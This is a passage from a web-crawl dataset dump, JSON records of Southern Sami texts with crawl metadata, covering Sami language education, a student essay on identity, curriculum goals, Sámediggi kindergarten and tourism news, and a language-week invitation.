juktie dïhte joekoen gieltegs jïh manne tuhtjem daate luste jïh manne hijven dååjrehtimmiem åådtjeme åarjelsaemiejgujmie jïh dej gïeline, Kowalik soptseste mij varke vualka dejtie noerhtemes bielide Åarjel-Saepmeste gusnie sæjhta vielie gaavnehtidh mah gïeleldh skaehtieh satne maahta veedtjedh sov tjaalegasse.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/dihte-tyske-jih-daakteregraadem-vaalta-aarjelsaemien-gielesne\/","date":"2020-08-03T09:34:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735792.85\/warc\/CC-MAIN-20200803083123-20200803113123-00059.warc.gz","language":"sma","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000020265579224}","num_words":563,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah tjaalegem \"Vearolde, vaerie, mojhtesh\" lohkedh maam Jaahkenelkien Aanna tjaaleme. Tjaalege gærjeste \"Don jïh daan bijre\", maam jaepien 1997 bæjhkoehti. Tjaalegh gærjesne leah kååserijh mejtie Aanna raadijovesne soptsesti.\nLohkh vielie Aannan bïjre daesnie: Jaahkenelkien Aanna - Anna Jacobsen\nVearolde, vaerie, mojhtesh\nGosse laantem meatesth fealede, die rovnege vuejnedh guktie vearolde maahta værhtodh. Åarjede Trööndelaageste maahta ebrien, sliehtien vuelkedh. Mearhkan tjirrh jællan soejmetji siengieldidh olles geajnoen naan kråevvien duekeste faahketji naan jeatjebe jïjhtelh, maam ij leah varki nuekies aajhtseminie.\nVuelnie stoerrevuemesne gujht daarah geajnoeh bïevles. Bijjiebidie dajvide båetedh, dellie dogkh daagkh båeries lopme-daarhvetjh. Ånnetji vielie bijjiebisnie die lea tjuetsieminie jïh abpe geajnoe lopmine. Aerebi goh jaksa gåabph ussjedamme, die vihth uvre goh daalvan båetedh.\nElmie iehkeden vööste kleereste, die vååjnoe goh jåvle-kåarhtesne vuejieminie. Biejjien mænngan jis åadtjodh aeriedistie girtine, balve-gaskem lokngesidh, vuejnedh biejjie jijhtieminie. Tjoevkeste maahta vuejnedh man raajan gijre båetieminie, jalhts ij gaajhkene lehkesne eatnamistie vååjnh. Voenen bievle-geajnoeh vuelnie baetsieh tjaahpesjen, girtie jis bijjiebasse guatsa guktie dogkh daagkh, balve-gaskem, maahta vaartoej rudtjh, vaeriej dalvesh vuejnedh, namhtah jadtnan goh daalvege. Ånnetji die girtie jis balvi sïjse tjaangele, guktie ij vielie mij vååjnh. Bijjiebasse goetsibie, die balvi bijjelen biejjh-guakose båetibie. Balvh vuelielisnie vealkasjieh goh orre-lopme påaske-biejjien. Dobtoe sïjhteme treavkah joksedidh jïh tjoejkijidh. Jïh dellie amma jis die, dej balvi tjirrh, akth mah besteles vaerie-snurhtjieh jïjhtelieh. Dïhte balve-gaptjese jissiehtåbpoe, sæjngoehkåbpoe sjædta. Dejstie vaerijste jis jiene-jienebe vååjnoe, gosk minngemes abpe dïhte laante-dajve sæjjoes. Vuartasjibie jïh daejribie Tromsen \"Aalhpide\" dam vuejniejibie. Gosse biejjh-guakoen dejtie vaeride bijjede elmeste åådtje vuartasjidh, dellie almetjen tjelmie ij enne mahte vielie buektehth luejhtedh gænnah. Jïh dïhte almetjen mïelese nænnoes mojhtesinie dabrene.\nAlmetjen mojhtesasse hov jïjnje tjaakene dabranidh. Aadtjegkh Snåasesne åadtjoejimh vuejnedh guktie maanah saemien-gåetiem tseegkieh. Voestegh die Aajloehassjen vuelie, barre ov goh guhkede govloe, dellie doh maanah akti akti båetieh. Akte maana jeahta satne arnie, mubpie jis jeahta satne okse. Gåalmede jeahta satne båassjoe. Jïh dellie otneres jis båetieh. Dah göökti göökti. Deakehkh dovne båetieh. Jïh minngemes die låavtege jis. Dïhte dle bïjre jarkan, dujtie jeatjabidie gaptja. Jïh seammalaakan guktie böötin, seamma soejmi, tjaebpieslaakan vihth vaadtsajin, akti akti, guktie minngemes die vihth barre dïhte vuelie dïhte govli. Dïhte aa soejmi jaavhkoej. Mijjen mojhtesasse jis gaajke dïhte tjaangeli jïh dabrani. Jïh iktesth mænngan maehtibie vihth ohtsedidh, gaavnedh, mojhtelidh jïh aavoedidh juhkoe saemien maanah dan tjaebpieslaakan maehtieh mijjen dovletjem vuesiehtidh. Båeries vijsies almetjh hov jiehtieh: Almetjh guhth dovletjem vaajmosne jïh mojhtesisnie guedtieminie, dah gujht riekteslaakan edtjieh maehtedh dåastodh mij båetiemisnie.\nBaakoeh\nSaemien\nDaaroen\nAajloehassje, Áillohaš\nNils-Aslak Valkeapää\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:182511","date":"2020-09-22T16:41:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00450.warc.gz","language":"sma","language_score":0.99992311,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999231100082397}","num_words":475,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage-tjaalege lea akte dejstie sïejhmemes sjangerijstie skuvlesne. Akte faage-tjaalege akten aamhtesen, heannadimmien, almetjen jallh fenomenen bïjre. Aajkoe lea bievnedh jïh tjïelkestidh, digkiedidh jallh analyseradidh.\nAktene faage-tjaalegisnie tjaelije tjuara bagkesidie buerkiestidh, jïh vuesiehtidh guktie satne lea ussjedamme. Sïejhme tjaelije tjuara aktem jallh jienebh gaaltijh nuhtjedh, jïh vihkeles gaaltijh reaktoelaakan utnedh jïh neebnedh. Tjuara iktegisth tjïelke årrodh, mah åssjaldahkh mah leah tjaelijen jïjtse åssjaldahkh jïh mah åssjaldahkh tjaelije lea veedtjeme mubpiej tjaalegijstie. Skuvle-laavenjassine muvhten aejkien bïevnesem åadtjoeh maam gaaltijidie jallh mah gaaltijh datne edtjh våaroeminie utnedh.\nGosse edtjh faage-tjaalegem skuvlesne tjaeledh dellie vihkele datne dov maahtoem teeman bïjre vuesehth. Dellie edtjh dov maahtoem nuhtjedh gosse tjaalegh digkedh, åahpedh jallh viertesth. Kaanne laavenjassesne tjaaleme tjoerh teemam, viehkie-vierhtieh viertiestidh ovmessie tjaaleginie guktie filmem jïh diktem, novellam jïh diktem, guvvie-raajroem jïh tjaalegem. Gosse datne edtjh tjaalegen bïjre ussjedidh dellie vihkele datne dov åssjaldahki bïjre tjaalah. Mujhtieh tjaalegem eensilaakan tseegkedh jïh tjïelke tjaeledh juktie aelhkie datnem guarkedh.\nVihkeles baakoeh\nViertiestidh: dellie edtjh joekehtsh jïh hedtieh vuesiehtidh vg. göökte tjaaleginie. Mujhtieh teemam, sisvegem, dïjrem jïh hammoem viertiestidh.\nTjïelkestidh: dellie edtjh dov maahtoem teeman bïjre eensilaakan buerkiestidh.\nToelhkestidh: dellie edtjh tjaeledh maam tjaalege mijjese jeahta. Tjoerh ovmessie biehkieh tjaalegistie analyseradidh jïh dan mænngan soptsesth mij tjaalegen teema, sisvege jïh dïjre.\nAnalyseradidh: dellie edtjh ovmessie biehkieh tjaalegistie lahtestidh jïh lahtesth aaj guktie tjaalege tseegkeme.\nMïelem utnedh: dellie edtjh dov mïelem jïh vuajnoem tjaeledh teeman bïjre.\nÅehpiedehtedh: vg. edtjh tjaelijem jallh gærjam åehpiedehtedh.\nAamhtese-tjaaleghKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nKååserijeKjernestoff\n- Kjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173661","date":"2020-09-18T08:57:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400187354.1\/warc\/CC-MAIN-20200918061627-20200918091627-00450.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":258,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie 4.jaepiedaltesen mænngan\nDotkijassaMål for opplæringen er at eleven skal kunne\n- eatnemefaageles dïejvesh nuhtjedh juktie buerkiestidh jïh åehpiedehtedh jïjtse vïhtesjimmieh, raeriestidh jïh soptsestidh seapan buerkiestimmiej bïjre dan bïjre maam vïhtesjamme\n- möölehtimmiedïrregh nuhtjedh, daatah öörnegen mietie bïejedh, vuarjasjidh mejtie illedahkh leah reaktoe jïh dejtie åehpiedehtedh digitaale viehkiedïrregigujmie jallh bielelen\n- reektehtsh jïh buerkiestimmieh tjaeledh, jïh aelhkie digitaale tjåanghkan bïejeme tjaalegh darjodh\n- bïevnesh ribledh jïh gïetedidh eatnemefaageles aamhtesi bïjre ovmessie gaaltijijstie, jïh gaaltijidie neebnedh\nAlmetje eatnamisnieMål for opplæringen er at eleven skal kunne\n- meatan årrodh darjoeminie gusnie almetjh vierhtieh eatnamistie veedtjieh, jïh soptsestidh guktie daah vierhtieh nåhtose dorjesuvvieh\n- buerkiestidh maam maahta darjodh juktie eatnemem voengesne gorredidh, jïh argumenteradidh guktie maahta tjaebpieslaakan eatnamisnie fealadidh jïh aaj dam darjodh\nGellievoete eatnamisnieMål for opplæringen er at eleven skal kunne\n- jieledesyklusen bïjre soptsestidh jïh jieledesyklusem viertiestidh såemies sjædtoe- jïh kreeke-aarhtide\n- jieledevuekiem buerkiestidh såemies kreekedåehkide mah leah nåhkelamme viehkine bïevnesh tjöönghkedh jïh bïevnesh ovmessie gaaltijijstie öörnegen mietie bïejedh\n- kreeki bïjre soptsestidh, kreeketryjjesvoetem digkiedidh jïh mïeli jïh faaktaj gaskem joekehtidh\n- biologeles nåhkedimmiem goerehtidh, jïh aktem jieledegievliem eatnamisnie buerkiestidh\n- gaaltijeveesmemem tjirrehtidh jïh digkiedidh man åvteste gaaltijeveesmeme lea vihkeles\nKråahpe jïh healsoeMål for opplæringen er at eleven skal kunne\n- kruepieslaakan buerkiestidh guktie almetjen kråahpe lea bæjjese bigkeme\n- beapmoe-sjalkemesystemem buerkiestidh, jïh buerkiestidh guktie dïhte fungerede\n- daektide jïh åedtjide buerkiestidh, jïh buerkiestidh guktie kråahpe maahta svihtjedh\n- bïevnesh brosjyrijste jïh digitaale tjaalegijstie nuhtjedh juktie aktem sïejhme skïemtjelassem buerkiestidh jïh guktie maahta dam båehtjierdidh, jïh buerkiestidh man åvteste mijjieh vaksijnam vaeltebe naan skïemtjelassi vööste\n- vïhtesjidh jïh buerkiestidh guktie kråahpe reagerede ovmessie tsiehkine, jïh soptsestidh ovmessie domtesereaksjovni bïjre, jïh ektiedimmiem fysiske jïh psykiske healsoen gaskem\nFenomenh jïh aamhthMål for opplæringen er at eleven skal kunne\n- aktem digitaale tjåanghkan bïejeme tjaalegem darjodh såemies dejstie planeti bïjre mijjen biejjiesystemesne, viehkine bïevnesh ohtsedidh jïh gaaltijh neebnedh\n- voejhkelimmieh tjirrehtidh mah vuesiehtieh aamhth jïh aamhtepleentegh maehtieh jeatjahlaakan sjïdtedh gosse dah joekehtslaakan tsevtsiedamme sjidtieh\n- fenomenh goerehtidh elmien jïh tjoejen bïjre, buerkiestidh maam vuajna, jïh buerkiestimmieh raeriestidh\n- vïhtesjadtedh jïh buerkiestidh jïjtse vïhtesjimmieh vearoldistie, temperatuvrem mööledh jïh mööledh man jïjnje obreme jallh tsuatseme jïh illedahkide vuesiehtidh viehkine grafihkeste, jïh vearoldevæhtaj jïh mïerhkebiejjiej bïjre soptsestidh\n- naestieguvvieh damtijidh jïh tjuvtjiedidh, soptsestidh guktie almetjh maehtieh naestieguvviej mietie vaaksjoehtidh\n- vïhtesjidh jïh soptsestidh goeksegi jïh jeatjah fenomeni bïjre elmesne, jïh mytah jïh vaajesh vaajestidh naestie-elmien jïh goeksegi bïjre saemien aerpievuekesne, jïh jeatjah aerpievuekiejgujmie viertiestidh\nTeknologije jïh hammoeMål for opplæringen er at eleven skal kunne\n- soejkesjidh, bigkedh jïh teestadidh aelhkie maallh bigkemetseegkeldahkijste, jïh prosessem vihtiestidh åssjaldahkeste gaervies dorjesasse, tjaaleginie jïh guvviejgujmie\n- tseegkeldahkh buerkiestidh, jïh digkiedidh man åvteste naan tseegkeldahkh leah vielie stabijle. jïh stuerebe leavloem tööllieh mubpijste\n- damtijidh jïh buerkiestidh guedtije struktuvrh ovmessie tseegkeldahkine voengesne\nSide 7 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-4.jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T09:56:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00706.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":467,"character_repetition_ratio":0.098,"word_repetition_ratio":0.004,"special_characters_ratio":0.137,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ellen-Sara Sparrok Larsen daam kronihkem tjeeli goh jåarhke-skuvlesne veedtsi. Kronihkesne soptseste maam jiehtegen bïjre «Vaajmoe-gïele» ussjede.\nVaajmoe-gïele\nDaan biejjien saemien noerh utnieh aelhkebe saemien gïelem lïeredh jïh sijjen saemien identiteetem vuesiehtidh, enn mijjen aajja gon aahkah meehtin. Gaajhkine skuvline daennie laantesne saemieh maehtieh saemien ööhpehtimmiem åadtjodh, mohte mijjieh tjoerebe jïjtje barkedh jïh krïebpesjidh juktie daam åadtjodh. Man åvteste tjoerebe dan jïjnjem barkedh dan åvteste jis edtjebe jïjtjene gïelem skuvlesne åadtjodh?\nDillie goh mijjen aajja gon aahkah lin noere dellie lij «fornorskningstiden» daaroen deadtoe dan garre saemide. Dah eah maehtieh jïjtse gïelem soptsestidh jallh saemine årrodh. Dellie gellie jïjtsh identiteetem leehpin jïh daatjine sjïdtin. Jis idtjin dah mah jïjtse identiteetem damth tjuedtjielin, jïh daaroen deadtoen vööste tsöögkelgin, guktie dellie sjïdteme mijjide saemide?\nÅarjel-saemieh, dah leah sagke vaenebe noerhte-saemijste. Åarjel-saemien gïele lea guhkiem mahte nåhkeme, mohte daelie gellie saemien gïelen åvteste berkieh ihke vihth edtjebe saemien gïelem nuhtjedh jïh soptsestidh, jïh noerh tuhtjieh «coolt» gïelem lïeredh. Daelie jienebh noerh gååvnesieh mah sijhtieh saemien gïelem tjaeledh jïh soptsestidh. Dah sijhtieh saemien gïelem vedtedh båetije boelvide. Saemien gïele lea vihkeles saemien identiteetese. Gïeline mijjieh jeatjabidie soptsestibie, gïeline daejrebe gïeh libie. Saemiedigkien gïele-kampaanje #Saemesth munnjien voejhkele jienebh dejstie noerijste skreejredh saemien tjaeledh jïh soptsestidh, julev-, noerhte- jïh åarjel-saemien gïelesne. Daate gïele-kampaanje hijven sjïdteme dovne identiteetem jïh gïelide gorredidh jïh gellie noerh aalkeme vielie saemien gïelem tjaeledh.\nManne jïjtje åarjel-saemien maana-baeleste lïereme, jïh feejjen dan åvteste. Saemien lea mov vaajmoe-gïele, jïh dejnie manne maahtam kommuniseeredh guktie sïjhtem. Munnjien åarjel-saemien gïele lea mov vaajmoe-gïele jïh dejnie manne damtem jïjtjemem jïh dïhte lea vihkeles mov identiteetese. Naan aejkien tuhtjem geerve daaroen gïeline kommuniseeredh, juktie ij dan aelhkie dejtie reaktoe baakojde gaavnedh. Daelie manne gïele-ambassadöörine orreme. Tuhtjem luste orreme daejnie prosjeektine meatan årrodh jïh jeatjabidie noeride skreejredh jïh viehkiehtidh åarjel-saemien gïelem nuhtjedh.\nDaennie åarjel-saemien dajvesne ibie dan gellie saemieh goh noerhtebinie dajvesne. Åarjene mijjieh sagke vaenebe goh dah mah noerhtelisnie. Dannasinie ij leah dan aelhkie gïelem evtiedidh jïh vaarjelidh. Ij leah seamma saemien byjrese daesnie goh noerhtene. Mijjieh bårrode årroeminie. Manne jïjtje barre onne sijjesne årroeminie mov fuelhkine. Doh jeatjah almetjh dennie dajven byjreskisnie barre laedtieh. Eah dah saemien gïelem guarkah jallh nuhtjh. Mænngan manne Guovdageaidnusne guessine orreme, jïh vuajneme guktie desnie, manne tuhtjem luste lij orreme jis mijjieh aaj dagkeres gïele-byjresem åtneme. Mohte ij leah numhtie. Gellie saemieh mijjen dajvesne dåeriesmoerem utnieh sijjen identiteeten bïjre jïh eah gïelem nuhtjh dan åvteste oktegh domtoeh. Manne aaj gellien aejkien oktegh domteme saemine årrodh gusnie manne daelie. Ij guhtese gåaredh saemien gïelem soptsestidh jeatjabidie goh tjidtjie gon aahtjan. Jïh im maehtieh naakenidie kultuvren bïjre soptsestidh jïh digkiedidh. Seammalaakan nåake domtim dillie goh tjoeverim barkedh juktie saemien ööhpehtimmiem åadtjodh jåarhke-skuvlesne. Dillie aaj oktegh domtim.\nDaan biejjien «coolt» saemine årrodh, gaptam nuhtjedh, saemien-gïelem soptsestidh jïh saemien identiteetine jieledh. Daelie «coolt» saemien gïelem meedijisnie nuhtjedh, Facebookesne, Twitterisnie jïh Instagramesne. Lea «coolt» vuesiehtidh gie lea, jïh saemieh sijjen identiteetem utnieh jïh domtoeh hijven dejnie. Jïh daate hijven våajnoes saemien kultuvresne, jïh daate hijven. Jïh noeride vihkeles åadtjodh sov identiteetem vuesiehtidh jïh hijven domtedh.\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\n- Kjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:0bb4c4be-9c65-44ab-b218-0ffe7910b6ae","date":"2020-09-22T18:07:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00726.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":567,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien maanagïertefaalenasseSaemien maanagïertefaalenasse lea faalenasse gusnie maanagïerten sisvege saemien gïelem jïh kultuvrem våaroeminie åtna. Maanagïerte edtja maanaj identiteetem nænnoestidh goh saemieh viehkine åtnoen saemien gieleste eevtjedh jïh saemien gïelem jïh kultuvrem eevtjedh, nuhtjedh jïh evtiedidh. Maanagïerte stuvresåvva saemiengïeleldh pedagogeles barkijijstie. Maahta saemien maanagïertefaalenassem daejtie kategorijide juekedh: a) saemien maanagïerth jïh saemien goevtese nöörjen maanagïertine b) maanagïerth faalenassine saemien gïelelïerehtimmien bïjre Saemiedigkie saemien maanagïertefaalenassese sjïehteladta politihkeevtiedimmien jïh dåarjoereeremen tjïrrh maanagiertide. Maanagïerth mah saemien maanagïertefaalenassem vedtieh maehtieh dejtie ovmessie dåarjoeöörnegidie syökedh. Saemiedigkien budsjedtesne lea dåarjoeöörnegidie buerkiestamme. Saemiedigkien leah jienebh laavenjostoeguejmieh mah mijjine ektine berkieh juktie mijjen ulmieh jaksedh: Maahtoedepartemeente, Ööhpehtimmiedirektoraate, Fylhkenålma og Maanagïerti eejhtegemoenehtse Lohkh vielie: Tjaatsege saemien maanagiertefaalenassen bïjre (PDF, 948 kB) Bïhkedæjja maanagïertide saemien maanajgujmie (PDF, 3 MB) Mieriesoejkesje maanagïerten sisvegasse jïh laavenjasside (PDF, 2 MB)","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/maanagierte\/saemien-maanagiertefaalenasse\/","date":"2020-10-30T16:20:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00447.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":123,"character_repetition_ratio":0.145,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse orre museumegåetie tseegkesåvva dellie aaj orre nuepieh åadtjoeh daajroem jïh dååjresh buektedh dovne saemien årroejidie, voenges årroejidie, guesside regijovneste jïh nasjonaale jïh gaskenasjonaale turistide.\n– Saemien Sijten lea jïjnje daajroe åarjelsaemien kultuvren bïjre, jïh sjollehke dah sijhtieh fealadasseevtiedimmiem sov dajvesne jarngesne utnedh, saemiedigkieraerie Silje Karine Muotka jeahta.\nAkte bielie prosjekteste lea ellies paahkh beapmoejgujmie jïh dååjresigujmie sjugniedidh gusnie aaj daajroem buakta åarjelsaemien beapmoen bïjre. Edtja beapmoekonsepth evtiedidh navradahkigujmie åarjelsaemien båatsoste, jeatjah saemien navradahkigujmie jïh dorjesigujmie voenges deallahtæjjijste.\n– Jalhts koronapandemije lea fealadasse- jïh gåassoehtimmiesuerkiem giehpiedamme, dellie finkese hijven sisvegem evtiedidh. Saemien Sijte dam sïejhme daajroegeerjehtimmiem åtna mij lea vihkeles gaajhkide mijjese, jïh dan gaavhtan daate akte vihkeles dåarjoe, saemiedigkieraerie jeahta.\nAkte dejstie ulmijste prosjektine lea laavenjassh ektiedidh, mejtie Saemien Sijte reeremen tjirrh åtna saemien histovrijistie jïh kultuvreste, dååjresh sjugniedidh mah edtjieh viehkiehtidh daajroem, lissiehtamme goerkesem jïh laavenjostoem kultuvri gaskemsh vedtedh.\n- Goerehtimmieh vuesiehtieh kultuvreturisth jolle maahtoem utnieh jïh guhkiem håallestieh aktene sijjesne. Dan åvteste hijven dagkerh turisth åadtjoeh sijjen daerpiesvoeth illedh. Mijjieh dååjrebe jeenjesh sijhtieh vielie lïeredh saemien kultuvren bïjre, jïh dan åvteste daate barkoe Saemien Sijtesne dan vihkele, Muotka minngemes jeahta.\nJis vielie bïevnesh jallh gihtjehtimmiem sïjhth, gaskesadth Silje Karine Muotka (NSR), tlf. 984 87 576 jallh e-påaste: firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/saernieh\/daarjoe-evtiedamman-fealadassedorjesistie-mij-aarjelsaemien-kultuvrem-vaaroeminie-atna.8621.aspx","date":"2020-11-30T03:57:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141205147.57\/warc\/CC-MAIN-20201130035203-20201130065203-00292.warc.gz","language":"sma","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999880790710449}","num_words":195,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelevåhkoe 2020\nDaatoe: Rïhkeden\/Golken 19.– 25. b. 2020\nSijjie: Abpe laante\nGïese: Amma gaajhkesh dovnesh leah bööresovveme!\nDatne naan aejkien onterdamme man åvteste saemien ij leah våajnoes tsïegline, mielhkiepaahkine jallh gaskeviermesne?\nSaemiedigkie sæjhta saemien edtja iemie jïh jielije bieline årrodh gaajhkesi aarkebiejjeste, jïh dan åvteste Gïelevåhkose böörede rïhkeden\/golken 19. b. – rïhkeden\/golken 25.b. 2019.\nGïelevåhkoen tjïrrh Saemiedigkie sæjhta jarngese bïejedh saemien gïelh våajnoes\ndarjodh, gaajhkine bieline siebriedahkeste\nMaam datne maahtah darjodh? Beapmoelæstoem saemien gïelese jarkoestidh dennie\nvoenges prïhtjhgåetesne, gïeleprïhtjhgåetiem öörnedidh jallh Gïelevåhkoen plakaatem\ndov klaasesne gævnjoestidh.\nDagke dov leah jeatjah hijven åssjalommesh jïh sïjhth meatan årrodh Gïelevåhkosne?\nTjaelieh diekie email@example.com, jallh gaskesadth dov lïhkemes gïelejarngem!\nDaejnie datne Gïelevåhkose 2020 bööresovveme. Årrode meatan gïelelutnjemisnie!\nSïjhth maam aktjh darjodh Plassjesne bïevnesh Aajegen gåajkoeh, Toini Bergstrøm på mail firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/aajege.no\/sma\/gielevahkoe-rorosesne\/","date":"2020-11-30T14:27:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141216175.53\/warc\/CC-MAIN-20201130130840-20201130160840-00495.warc.gz","language":"sma","language_score":0.9999841452,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999841451644897}","num_words":118,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lektovre saemien gïelesne jïh kultuvresne Ellen Pautamo Gulliegïele-baalhkam åådtje sov barkoen åvteste goh lohkehtæjja noerhtesaemien gïelesne. Gïelemaehtehtje Jonar Thomasson baalhkam åådtje sov barkoen 